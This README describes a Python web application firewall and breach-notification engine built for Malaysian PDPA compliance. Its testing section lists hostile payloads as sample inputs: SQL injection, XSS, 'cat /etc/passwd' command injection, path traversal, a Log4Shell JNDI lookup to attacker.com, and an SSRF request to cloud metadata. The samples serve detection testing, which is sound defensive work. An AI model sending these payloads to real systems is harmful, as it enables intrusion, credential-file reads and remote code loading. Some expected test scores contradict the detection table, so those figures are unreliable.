## https://sploitus.com/exploit?id=23BFA60B-B961-553E-B28C-000FA755227F
# WAF & SOAR Engine
A cloud-native Web Application Firewall and automated incident response engine built specifically for Malaysian PDPA (Amendment) Act 2024 compliance.
Live demo: https://waf-engine.onrender.com/api/v1/health
---
## What it does
- Intercepts and inspects API requests in real time
- Detects SQL injection, XSS, command injection, path traversal, Log4Shell and SSRF
- Blocks malicious requests automatically based on additive risk scoring
- Rate limits per IP using token bucket algorithm โ stops brute force and flood attacks
- Writes tamper-proof audit logs with SHA256 hash chain to PostgreSQL
- Records PDPA incidents with automatic 72-hour Commissioner notification clock
- Generates JPDP Annex B breach reports in English and Bahasa Malaysia
- Fires real-time DPO Discord alerts on significant harm breaches per PDPA Section 12A
- Provides JWT-protected admin endpoints for allowlist, incident, and rights management
- Accepts data subject access and correction requests per PDPA Principle 7
- Supports live signature hot reload without server restart
---
## Architecture
Hot path (in-memory, under 50MB):
Request received โ Payload decoded and canonicalized โ SQL structurally parsed โ XSS structurally parsed โ Command injection checked โ Path traversal checked โ Log4Shell checked โ SSRF checked โ Anomaly scored โ Risk score accumulated โ Block or Allow decision returned
Cold path (PostgreSQL on Neon, append-only):
Audit logs, incident records, allowlist entries, data subject rights requests โ all written asynchronously in background threads without blocking the hot path
---
## Malaysian Legal Compliance
- Personal Data Protection (Amendment) Act 2024 โ enforced June 2025
- Governing authority: PDPC under JPDP, Ministry of Digital Malaysia
- Dual notification clocks: 72 hours to Commissioner, 7 days to data subjects
- Significant harm assessment gates PDPA notification โ not every block triggers reporting
- JPDP Annex B format report generator in English and Bahasa Malaysia
- Mandatory DPO alert channel per Section 12A โ fires to Discord webhook on significant harm breach
- Biometric data routes auto-elevated to Sensitive Personal Data
- Data subject rights endpoints โ access and correction requests per Principle 7
- BNM RMiT compliance mode for financial institutions via COMPLIANCE_MODE=PDPA_RMIT
- NACSA parallel reporting for critical infrastructure via SECTOR=CRITICAL_INFRA
- Maximum penalty: RM1,000,000 fine and 3 years imprisonment per PDPA Amendment Act 2024
---
## PDPA 7 Principles Mapping
| Principle | Implementation |
|---|---|
| General | WAF processes traffic data for security purposes only |
| Notice and Choice | Configurable via DATA_CONTROLLER_NAME and DPO_NAME env vars |
| Disclosure | Cross-border transfer flag via NOTIFICATION_ENDPOINT_REGION env var |
| Security | TLS on all connections, JWT admin auth, bcrypt passwords, encrypted audit trail |
| Retention | Configurable via AUDIT_LOG_RETENTION_DAYS and INCIDENT_RECORD_RETENTION_DAYS |
| Data Integrity | Malaysian PII scrubber on all log writes โ IC, phone, bank account, email, passport |
| Access | Data subject rights endpoints for access and correction requests |
---
## Tech Stack
- Python 3.12
- Flask 3.0.3
- PostgreSQL on Neon (Singapore region)
- psycopg2 for database connectivity
- sqlparse for structural SQL AST analysis
- bleach and HTMLParser for XSS structural detection
- bcrypt and PyJWT for admin authentication
- Gunicorn with 30 second timeout for Slow Loris protection
- Docker for containerisation
- Deployed on Render free tier, Singapore region
---
## Local Setup
Step 1 โ Clone the repository
git clone https://github.com/Suhail2222/waf-engine.git
cd waf-engine
Step 2 โ Create virtual environment using Python 3.12
py -3.12 -m venv venv
venv\Scripts\activate
Step 3 โ Install dependencies
pip install -r requirements.txt
Step 4 โ Create your .env file and fill in the required variables listed below
Step 5 โ Run the app
python -m app.main
Step 6 โ Test the health endpoint
http://localhost:5000/api/v1/health
---
## Environment Variables
| Variable | Required | Description |
|---|---|---|
| SECRET_KEY | Yes | Flask secret key, use a long random string |
| DATABASE_URL | Yes | PostgreSQL connection string from Neon |
| DPO_EMAIL | Yes | Data Protection Officer email for PDPA alerts |
| DPO_PHONE | Yes | Data Protection Officer phone number |
| DPO_NAME | Yes | Data Protection Officer full name |
| DATA_CONTROLLER_NAME | Yes | Your organisation name |
| JPDP_SUBMISSION_EMAIL | Yes | Always pdp@kkmm.gov.my |
| COMPLIANCE_MODE | Yes | PDPA_STANDARD or PDPA_RMIT for financial sector |
| SECTOR | Yes | GENERAL, FINANCE, HEALTH, TELCO, or CRITICAL_INFRA |
| NOTIFICATION_ENDPOINT_REGION | Yes | MY or non-MY for cross-border transfer documentation |
| ALERT_WEBHOOK_URL | No | Discord or Slack webhook URL โ DPO alert fires here on significant harm breach |
| BLOCK_THRESHOLD | Yes | Risk score to trigger block, default 20 |
| ALERT_THRESHOLD | Yes | Risk score to trigger alert, default 10 |
| BUCKET_CAPACITY | Yes | Token bucket size per IP, default 30 |
| REFILL_RATE | Yes | Token refill per second, default 5 |
| MAX_PAYLOAD_BYTES | Yes | Maximum request size before rejection, default 8192 |
| ENVIRONMENT | Yes | development or production |
| ADMIN_USERNAME | Yes | Admin login username |
| ADMIN_PASSWORD_HASH | Yes | Generate with: python -c "import bcrypt; print(bcrypt.hashpw(b'yourpassword', bcrypt.gensalt()).decode())" |
| AUDIT_LOG_RETENTION_DAYS | Yes | Days to retain audit logs, default 365 |
| INCIDENT_RECORD_RETENTION_DAYS | Yes | Days to retain incidents, default 2555 which is 7 years |
| BLOCKED_IP_RETENTION_DAYS | Yes | Days to retain blocked IP records, default 90 |
---
## API Endpoints
| Method | Endpoint | Auth | Description |
|---|---|---|---|
| GET | /api/v1/health | None | System health and operational status |
| POST | /api/v1/inspect | None | Inspect a request for threats |
| POST | /api/v1/admin/login | None | Authenticate and receive JWT token |
| GET | /api/v1/admin/allowlist | JWT | View all allowlisted IPs |
| POST | /api/v1/admin/allowlist | JWT | Add IP to allowlist with reason |
| GET | /api/v1/admin/incidents | JWT | View all recorded incidents with 72hr countdown |
| GET | /api/v1/admin/incidents/:id/report | JWT | Generate JPDP Annex B report in English |
| GET | /api/v1/admin/incidents/:id/report?lang=BM | JWT | Generate JPDP Annex B report in Bahasa Malaysia |
| GET | /api/v1/admin/rights | JWT | View all data subject rights requests |
| POST | /api/v1/admin/signatures/reload | JWT | Hot reload signatures without server restart |
| POST | /api/v1/rights/access | None | Submit data access request per PDPA Principle 7 |
| POST | /api/v1/rights/correction | None | Submit data correction request per PDPA Principle 7 |
---
## Attack Detection
| Attack Type | Detection Method | Risk Score | Action |
|---|---|---|---|
| SQL Injection | sqlparse AST structural analysis | 15 base, up to 30 for multiple keywords | BLOCK |
| XSS | HTMLParser structural analysis plus bleach | 10 | ALERT |
| Command Injection | Shell command pattern matching via signatures.json | 15 | BLOCK |
| Path Traversal | Directory traversal pattern matching via signatures.json | 10 | ALERT |
| Log4Shell | JNDI string exact pattern matching via signatures.json | 20 | BLOCK |
| SSRF | Internal IP and cloud metadata endpoint matching via signatures.json | 20 | BLOCK |
| High entropy anomaly | Shannon entropy scoring on plain text fields | 8 | ALERT |
| Oversized payload | Hard length gate before all parsing | 413 returned | BLOCK |
| Rate limit exceeded | Token bucket per IP, 30 capacity, refills 5 per second | 999 | BLOCK |
| Biometric route attack | Any attack on biometric routes elevated to CRITICAL | CRITICAL | BLOCK |
---
## Signature Hot Reload
Attack patterns for command injection, path traversal, Log4Shell, and SSRF are stored in app/detection/signatures.json. To update patterns without restarting the server:
1. Edit signatures.json with new patterns or risk scores
2. Commit and push to GitHub โ Render auto-deploys
3. Or call POST /api/v1/admin/signatures/reload with a JWT token to reload instantly in memory
---
## Testing
Start the app:
python -m app.main
SQL injection test โ expected BLOCKED risk_score 15:
POST http://localhost:5000/api/v1/inspect
{"path": "/api/login", "method": "POST", "body": {"username": "admin' UNION SELECT * FROM users--"}, "headers": {}}
XSS test โ expected ALERT risk_score 10:
POST http://localhost:5000/api/v1/inspect
{"path": "/api/login", "method": "POST", "body": {"username": "alert(document.cookie)"}, "headers": {}}
Command injection test โ expected BLOCKED risk_score 25:
POST http://localhost:5000/api/v1/inspect
{"path": "/api/login", "method": "POST", "body": {"username": "john; cat /etc/passwd"}, "headers": {}}
Path traversal test โ expected BLOCKED risk_score 25:
POST http://localhost:5000/api/v1/inspect
{"path": "/api/login", "method": "POST", "body": {"username": "../../etc/passwd"}, "headers": {}}
Log4Shell test โ expected BLOCKED risk_score 20:
POST http://localhost:5000/api/v1/inspect
{"path": "/api/login", "method": "POST", "body": {"username": "${jndi:ldap://attacker.com/exploit}"}, "headers": {}}
SSRF test โ expected BLOCKED risk_score 20:
POST http://localhost:5000/api/v1/inspect
{"path": "/api/login", "method": "POST", "body": {"url": "http://169.254.169.254/latest/meta-data"}, "headers": {}}
Rate limit flood test โ expected allowed 30 blocked 20:
python tests/test_rate.py
Data subject access request test:
POST http://localhost:5000/api/v1/rights/access
{"email": "user@example.com", "details": "I would like to know what personal data you hold about me"}
---
## JPDP Breach Notification Procedure
When a PDPA-notifiable breach is detected the engine automatically:
1. Records the incident with detected_at timestamp
2. Starts the 72-hour Commissioner notification clock
3. Assesses significant harm โ personal data involved plus at least one harm factor
4. If significant harm confirmed, fires DPO Discord alert to ALERT_WEBHOOK_URL immediately
Manual steps required:
5. Log in to admin panel and retrieve the incident via GET /api/v1/admin/incidents
6. Generate the JPDP Annex B report via GET /api/v1/admin/incidents/:id/report
7. Submit to pdp@kkmm.gov.my or via https://www.pdp.gov.my before the 72-hour deadline
8. After Commissioner notification, set subjects_deadline for 7-day data subject notification
---
## DPO Discord Alert Preview
When a significant harm breach is detected the engine automatically fires an alert to the configured Discord webhook:

Configure your own webhook URL via the ALERT_WEBHOOK_URL environment variable.
---
## Known Limitations
- Rate limiter state is in-memory and resets on server restart
- XSS detection scores 10 which is below the default block threshold of 20 โ combine with other signals or lower ALERT_THRESHOLD to 8 to block on XSS alone
- Path traversal scores 10 for the same reason
- ALERT_WEBHOOK_URL must be configured with a Discord or Slack webhook URL to receive real-time DPO alerts
- Render free tier spins down after inactivity โ first request after sleep takes 50 seconds to respond
- This engine is a technical compliance tool and does not replace a qualified Malaysian data protection lawyer, a CREST-licensed penetration tester, or a registered DPO
---
## Author
Built by Suhail as a portfolio project demonstrating enterprise-grade security engineering and Malaysian PDPA Amendment Act 2024 compliance implementation.